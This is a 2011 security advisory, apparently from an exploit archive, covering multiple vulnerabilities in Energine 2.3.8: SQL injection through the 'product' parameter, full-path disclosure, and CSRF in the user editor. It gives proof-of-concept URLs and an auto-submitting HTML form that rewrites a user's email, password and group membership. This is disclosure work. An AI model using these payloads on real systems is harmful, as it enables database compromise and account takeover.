ExploitFixes
Energine 2.3.8 Multiple Vulnerabilities 2011-01-11 14:15:20

Vulnerability ID: HTB22783
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_energine.html
Product: Energine
Vulnerable Version: 2.3.8 and probably prior versions
Vendor Notification: 28 December 2010
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "core/modules/shop/components/ProductList.class.php" script to properly sanitize user-supplied input in "product" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:
http://host/shop/search-results/?product=%22+ANY_SQL

Path Disclosure:
Vulnerability Details:
The vulnerability exists due to failure in the "core/modules/shop/components/Order.class.php", "core/modules/shop/components/ParamValuesEditor.class.php" scripts, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.
The following PoC is available:
http://host/core/modules/shop/components/Order.class.php
http://host/core/modules/shop/components/ParamValuesEditor.class.php

CSRF:
Vulnerability Details:
The vulnerability exists due to failure in the "core/modules/user/components/UserEditor.class.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/en/single/pageToolBar/user/save" method="post" name="main">
<input type="hidden" name="componentAction" value="edit">
<input type="hidden" name="user_users[u_id]" value="USERID">
<input type="hidden" name="user_users[u_name]" value="[email protected]">
<input type="hidden" name="user_users[u_password]" value="">
<input type="hidden" name="user_users[u_fullname]" value="Test">
<input type="hidden" name="user_users[u_avatar_prfile]" value="">
<input type="hidden" name="group_id[]" value="1">
<input type="hidden" name="group_id[]" value="4">
</form>
<script>
document.main.submit();
</script>